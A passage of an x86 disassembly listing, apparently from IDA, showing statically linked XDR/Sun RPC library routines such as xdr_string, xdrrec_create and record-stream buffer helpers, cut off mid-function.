		push	offset unk_80787A4
		call	_IO_fprintf
		jmp	short loc_8065270
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806524C:				; CODE XREF: sub_80651B8+3Fj
					; sub_80651B8+56j ...
		push	esi
		push	ebx
		push	edi
		call	sub_8065120
		jmp	short loc_8065272
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065258:				; CODE XREF: sub_80651B8+44j
		test	ebx, ebx
		jz	short loc_8065204
		push	ebx
		call	free
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0
		jmp	short loc_8065204
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065270:				; CODE XREF: sub_80651B8+22j
					; sub_80651B8+32j ...
		xor	eax, eax

loc_8065272:				; CODE XREF: sub_80651B8+51j
					; sub_80651B8+9Cj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80651B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	400h
		push	eax
		add	eax, 4
		push	eax
		push	edx
		call	sub_80651B8
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806529C	proc near		; CODE XREF: xdr_replymsg+40p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	edi
		push	esi
		call	sub_806510C
		add	esp, 8
		test	eax, eax
		jz	short loc_80652D7
		mov	eax, [edi]
		cmp	dword ptr [ebx+4], 0
		jz	short loc_80652D1
		lea	esi, [esi+0]

loc_80652C4:				; CODE XREF: sub_806529C+33j
		cmp	[ebx], eax
		jz	short loc_80652DC
		add	ebx, 8
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_80652C4

loc_80652D1:				; CODE XREF: sub_806529C+23j
		cmp	[ebp+arg_10], 0
		jnz	short loc_80652EC

loc_80652D7:				; CODE XREF: sub_806529C+1Bj
		xor	eax, eax
		jmp	short loc_80652F8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80652DC:				; CODE XREF: sub_806529C+2Aj
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_8]
		push	edx
		push	esi
		mov	eax, [ebx+4]
		call	eax
		jmp	short loc_80652F8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80652EC:				; CODE XREF: sub_806529C+39j
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_8]
		push	edx
		push	esi
		mov	edx, [ebp+arg_10]
		call	edx

loc_80652F8:				; CODE XREF: sub_806529C+3Dj
					; sub_806529C+4Cj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806529C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065304	proc near		; CODE XREF: .text:080653EDp
					; xdr_domainname+10p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		mov	ebx, [edi]
		call	libc_nls_init
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_806532D
		cmp	eax, 2
		jnz	short loc_8065339
		test	ebx, ebx
		jz	loc_80653CC

loc_806532D:				; CODE XREF: sub_8065304+1Aj
		push	ebx
		call	strlen
		mov	[ebp+var_4], eax
		add	esp, 4

loc_8065339:				; CODE XREF: sub_8065304+1Fj
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_8064EB4
		add	esp, 8
		test	eax, eax
		jz	loc_80653D4
		mov	ecx, [ebp+arg_8]
		cmp	[ebp+var_4], ecx
		ja	short loc_80653D4
		mov	edx, [ebp+var_4]
		inc	edx
		mov	eax, [esi]
		cmp	eax, 1
		jz	short loc_806536C
		jb	short loc_80653B3
		cmp	eax, 2
		jz	short loc_80653C0
		jmp	short loc_80653D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806536C:				; CODE XREF: sub_8065304+5Bj
		test	edx, edx
		jz	short loc_80653CC
		test	ebx, ebx
		jnz	short loc_80653AC
		push	edx
		call	malloc
		mov	ebx, eax
		mov	[edi], ebx
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_80653AC
		push	offset aOutOfMemory_1 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		push	eax
		push	offset aXdr_stringS ; "xdr_string: %s\n"
		push	offset unk_80787A4
		call	_IO_fprintf
		jmp	short loc_80653D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80653AC:				; CODE XREF: sub_8065304+6Ej
					; sub_8065304+7Fj
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+ebx], 0

loc_80653B3:				; CODE XREF: sub_8065304+5Dj
		mov	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	esi
		call	sub_8065120
		jmp	short loc_80653D6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80653C0:				; CODE XREF: sub_8065304+62j
		push	ebx
		call	free
		mov	dword ptr [edi], 0

loc_80653CC:				; CODE XREF: sub_8065304+23j
					; sub_8065304+6Aj
		mov	eax, 1
		jmp	short loc_80653D6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80653D4:				; CODE XREF: sub_8065304+44j
					; sub_8065304+50j ...
		xor	eax, eax

loc_80653D6:				; CODE XREF: sub_8065304+BAj
					; sub_8065304+CDj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065304	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	0FFFFFFFFh
		push	eax
		push	edx
		call	sub_8065304
		test	eax, eax
		jnz	short loc_80653FC
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80653FC:				; CODE XREF: .text:080653F4j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000029 BYTES: COLLAPSED FUNCTION xdrmem_create. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000007 BYTES: COLLAPSED FUNCTION sub_8065434. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000036 BYTES: COLLAPSED FUNCTION sub_806543C. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000036 BYTES: COLLAPSED FUNCTION sub_8065474. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION sub_80654AC. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000003B BYTES: COLLAPSED FUNCTION sub_80654E8. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000012 BYTES: COLLAPSED FUNCTION sub_8065524. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000002E BYTES: COLLAPSED FUNCTION sub_8065538. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000001F BYTES: COLLAPSED FUNCTION sub_8065568. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065588	proc near		; CODE XREF: sub_80658B4+2Cp
					; sub_806597C+50p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	[ebp+arg_4], 1
		jnz	short loc_806559D
		mov	eax, 80000000h

loc_806559D:				; CODE XREF: sub_8065588+Ej
		mov	ebx, [esi+10h]
		sub	ebx, [esi+18h]
		add	ebx, 0FFFFFFFCh
		mov	edx, [esi+18h]
		or	eax, ebx
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	ebx, [esi+10h]
		sub	ebx, [esi+0Ch]
		push	ebx
		mov	eax, [esi+0Ch]
		push	eax
		mov	eax, [esi]
		push	eax
		mov	eax, [esi+8]
		call	eax
		cmp	eax, ebx
		jnz	short loc_80655E4
		mov	eax, [esi+0Ch]
		mov	[esi+18h], eax
		mov	ecx, [esi+0Ch]
		add	ecx, 4
		mov	[esi+10h], ecx
		mov	eax, 1
		jmp	short loc_80655E6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80655E4:				; CODE XREF: sub_8065588+41j
		xor	eax, eax

loc_80655E6:				; CODE XREF: sub_8065588+57j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065588	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80655F0	proc near		; CODE XREF: sub_8065634+19p
					; sub_80656E8+18p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+30h]
		and	eax, 3
		mov	ebx, [esi+28h]
		add	ebx, eax
		mov	edx, [esi+24h]
		sub	edx, eax
		mov	eax, edx
		push	eax
		push	ebx
		mov	eax, [esi]
		push	eax
		mov	eax, [esi+20h]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8065628
		mov	[esi+2Ch], ebx
		add	ebx, eax
		mov	[esi+30h], ebx
		mov	eax, 1
		jmp	short loc_806562A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065628:				; CODE XREF: sub_80655F0+27j
		xor	eax, eax

loc_806562A:				; CODE XREF: sub_80655F0+36j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80655F0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065634	proc near		; CODE XREF: sub_8065698+11p
					; sub_8065910+44p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_8]

loc_8065640:				; CODE XREF: sub_8065634+23j
					; sub_8065634+4Fj
		test	esi, esi
		jle	short loc_8065688
		mov	ebx, [edi+30h]
		sub	ebx, [edi+2Ch]
		jnz	short loc_8065660
		push	edi
		call	sub_80655F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_8065640
		xor	eax, eax
		jmp	short loc_806568D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065660:				; CODE XREF: sub_8065634+16j
		mov	eax, esi
		cmp	esi, ebx
		jle	short loc_8065668
		mov	eax, ebx

loc_8065668:				; CODE XREF: sub_8065634+30j
		mov	ebx, eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [edi+2Ch]
		push	eax
		call	bcopy
		add	[edi+2Ch], ebx
		add	[ebp+arg_4], ebx
		sub	esi, ebx
		add	esp, 0Ch
		jmp	short loc_8065640
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065688:				; CODE XREF: sub_8065634+Ej
		mov	eax, 1

loc_806568D:				; CODE XREF: sub_8065634+27j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065634	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065698	proc near		; CODE XREF: sub_8065910+21p
					; sub_8065B2C+2Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_8065634
		test	eax, eax
		jz	short loc_80656DC
		mov	eax, [ebp+var_4]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[ebp+var_4], eax
		mov	edx, eax
		shr	edx, 1Fh
		mov	[ebx+38h], edx
		mov	edx, [ebp+var_4]
		and	edx, 7FFFFFFFh
		mov	[ebx+34h], edx
		mov	eax, 1
		jmp	short loc_80656DE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80656DC:				; CODE XREF: sub_8065698+18j
		xor	eax, eax

loc_80656DE:				; CODE XREF: sub_8065698+40j
		mov	ebx, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_8065698	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80656E8	proc near		; CODE XREF: sub_8065B2C+11p
					; .text:08065B99p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]

loc_80656F3:				; CODE XREF: sub_80656E8+22j
					; sub_80656E8+37j
		test	ebx, ebx
		jle	short loc_8065724
		mov	eax, [esi+30h]
		sub	eax, [esi+2Ch]
		jnz	short loc_8065710
		push	esi
		call	sub_80655F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_80656F3
		xor	eax, eax
		jmp	short loc_8065729
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065710:				; CODE XREF: sub_80656E8+15j
		mov	edx, ebx
		cmp	ebx, eax
		jle	short loc_8065718
		mov	edx, eax

loc_8065718:				; CODE XREF: sub_80656E8+2Cj
		mov	eax, edx
		add	[esi+2Ch], eax
		sub	ebx, eax
		jmp	short loc_80656F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065724:				; CODE XREF: sub_80656E8+Dj
		mov	eax, 1

loc_8065729:				; CODE XREF: sub_80656E8+26j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80656E8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065734	proc near		; CODE XREF: sub_8065750+22p
					; sub_8065750+2Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 63h
		ja	short loc_8065744
		mov	eax, 0FA0h

loc_8065744:				; CODE XREF: sub_8065734+9j
		add	eax, 3
		and	al, 0FCh
		mov	esp, ebp
		pop	ebp
		retn
sub_8065734	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065750	proc near		; CODE XREF: clnttcp_create+1E7p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	44h
		call	malloc
		mov	ebx, eax
		call	libc_nls_init
		add	esp, 4
		test	ebx, ebx
		jz	short loc_806579B
		push	esi
		call	sub_8065734
		mov	esi, eax
		mov	[ebx+3Ch], esi
		push	edi
		call	sub_8065734
		mov	edi, eax
		mov	[ebx+40h], edi
		lea	eax, [edi+esi+4]
		push	eax
		call	malloc
		mov	[ebx+4], eax
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_80657C4

loc_806579B:				; CODE XREF: sub_8065750+1Fj
		push	offset aOutOfMemory_2 ;	"out of	memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		push	eax
		push	offset aXdrrec_createS ; "xdrrec_create: %s\n"
		push	offset unk_80787A4
		call	_IO_fprintf
		jmp	short loc_806583E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80657C4:				; CODE XREF: sub_8065750+49j
		mov	eax, [ebx+4]
		mov	[ebx+0Ch], eax
		test	al, 3
		jz	short loc_80657D9
		lea	esi, [esi]

loc_80657D0:				; CODE XREF: sub_8065750+87j
		inc	dword ptr [ebx+0Ch]
		test	byte ptr [ebx+0Ch], 3
		jnz	short loc_80657D0

loc_80657D9:				; CODE XREF: sub_8065750+7Cj
		mov	edx, [ebx+0Ch]
		add	edx, esi
		mov	[ebx+28h], edx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], offset off_8079260
		mov	[edx+0Ch], ebx
		mov	edx, [ebp+arg_C]
		mov	[ebx], edx
		mov	edx, [ebp+arg_10]
		mov	[ebx+20h], edx
		mov	edx, [ebp+arg_14]
		mov	[ebx+8], edx
		mov	eax, [ebx+0Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		add	dword ptr [ebx+10h], 4
		add	[ebx+14h], esi
		mov	dword ptr [ebx+1Ch], 0
		mov	[ebx+24h], edi
		mov	eax, [ebx+28h]
		mov	[ebx+30h], eax
		mov	eax, edi
		add	eax, [ebx+30h]
		mov	[ebx+30h], eax
		mov	[ebx+2Ch], eax
		mov	dword ptr [ebx+34h], 0
		mov	dword ptr [ebx+38h], 1

loc_806583E:				; CODE XREF: sub_8065750+6Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065750	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065848	proc near		; DATA XREF: .data:08079260o

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edx, [ebx+0Ch]
		mov	ecx, [edx+2Ch]
		cmp	dword ptr [edx+34h], 3
		jbe	short loc_8065884
		mov	eax, [edx+30h]
		sub	eax, ecx
		cmp	eax, 3
		jbe	short loc_8065884
		mov	eax, [ecx]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[esi], eax
		add	dword ptr [edx+34h], 0FFFFFFFCh
		add	dword ptr [edx+2Ch], 4
		jmp	short loc_80658A4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065884:				; CODE XREF: sub_8065848+18j
					; sub_8065848+22j
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_8065910
		test	eax, eax
		jnz	short loc_8065898
		xor	eax, eax
		jmp	short loc_80658A9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8065898:				; CODE XREF: sub_8065848+4Aj
		mov	eax, [ebp+var_4]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[esi], eax

loc_80658A4:				; CODE XREF: sub_8065848+37j
		mov	eax, 1

loc_80658A9:				; CODE XREF: sub_8065848+4Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065848	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80658B4	proc near		; DATA XREF: .data:08079264o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [eax+0Ch]
		mov	edx, [ebx+10h]
		mov	eax, edx
		add	eax, 4
		mov	[ebx+10h], eax
		cmp	[ebx+14h], eax
		jnb	short loc_80658F7
		add	dword ptr [ebx+10h], 0FFFFFFFCh
		mov	dword ptr [ebx+1Ch], 1
		push	0
		push	ebx
		call	sub_8065588
		test	eax, eax
		jnz	short loc_80658F0
		xor	eax, eax
		jmp	short loc_8065907
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80658F0:				; CODE XREF: sub_80658B4+33j
		mov	edx, [ebx+10h]
		add	dword ptr [ebx+10h], 4

loc_80658F7:				; CODE XREF: sub_80658B4+1Cj
		mov	eax, [esi]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	eax, 1

loc_8065907:				; CODE XREF: sub_80658B4+37j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80658B4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065910	proc near		; CODE XREF: sub_8065848+43p
					; DATA XREF: .data:08079268o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	esi, [eax+0Ch]

loc_806591F:				; CODE XREF: sub_8065910+2Bj
					; sub_8065910+58j
		test	edi, edi
		jz	short loc_806596C
		mov	ebx, [esi+34h]
		test	ebx, ebx
		jnz	short loc_8065944
		cmp	dword ptr [esi+38h], 0
		jnz	short loc_806593D
		push	esi
		call	sub_8065698
		add	esp, 4
		test	eax, eax
		jnz	short loc_806591F

loc_806593D:				; CODE XREF: sub_8065910+1Ej
					; sub_8065910+4Ej
		xor	eax, eax
		jmp	short loc_8065971
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065944:				; CODE XREF: sub_8065910+18j
		mov	eax, ebx
		cmp	edi, ebx
		jnb	short loc_806594C
		mov	eax, edi

loc_806594C:				; CODE XREF: sub_8065910+38j
		mov	ebx, eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		push	esi
		call	sub_8065634
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_806593D
		add	[ebp+arg_4], ebx
		sub	[esi+34h], ebx
		sub	edi, ebx
		jmp	short loc_806591F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806596C:				; CODE XREF: sub_8065910+11j
		mov	eax, 1

loc_8065971:				; CODE XREF: sub_8065910+2Fj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8065910	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806597C	proc near		; DATA XREF: .data:0807926Co

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	esi, [eax+0Ch]

loc_806598B:				; CODE XREF: sub_806597C+44j
					; sub_806597C+5Aj
		test	edi, edi
		jz	short loc_80659DC
		mov	ebx, [esi+14h]
		sub	ebx, [esi+10h]
		mov	eax, ebx
		cmp	edi, ebx
		jnb	short loc_806599D
		mov	eax, edi

loc_806599D:				; CODE XREF: sub_806597C+1Dj
		mov	ebx, eax
		push	ebx
		mov	eax, [esi+10h]
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		call	bcopy
		mov	eax, ebx
		add	eax, [esi+10h]
		mov	[esi+10h], eax
		add	[ebp+arg_4], ebx
		sub	edi, ebx
		add	esp, 0Ch
		cmp	[esi+14h], eax
		jnz	short loc_806598B
		mov	dword ptr [esi+1Ch], 1
		push	0
		push	esi
		call	sub_8065588
		add	esp, 8
		test	eax, eax
		jnz	short loc_806598B
		xor	eax, eax
		jmp	short loc_80659E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80659DC:				; CODE XREF: sub_806597C+11j
		mov	eax, 1

loc_80659E1:				; CODE XREF: sub_806597C+5Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806597C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80659EC	proc near		; CODE XREF: sub_8065A40+10p
					; DATA XREF: .data:08079270o

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+0Ch]
		push	1
		push	0
		mov	eax, [ebx]
		push	eax
		call	__libc_lseek
		mov	edx, eax
		cmp	edx, 0FFFFFFFFh
		jz	short loc_8065A35
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_8065A18
		cmp	eax, 1
		jz	short loc_8065A24
		jmp	short loc_8065A30
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065A18:				; CODE XREF: sub_80659EC+22j
		mov	eax, [ebx+10h]
		sub	eax, [ebx+0Ch]
		add	edx, eax
		jmp	short loc_8065A35
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065A24:				; CODE XREF: sub_80659EC+27j
		mov	eax, [ebx+30h]
		sub	eax, [ebx+2Ch]
		sub	edx, eax
		jmp	short loc_8065A35
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8065A30:				; CODE XREF: sub_80659EC+29j
		mov	edx, 0FFFFFFFFh

loc_8065A35:				; CODE XREF: sub_80659EC+1Cj
					; sub_80659EC+34j ...
		mov	eax, edx
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_80659EC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8065A40	proc near		; DATA XREF: .data:08079274o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esi, [edi+0Ch]
		push	edi
		call	sub_80659EC
		mov	edx, eax
		sub	edx, ebx
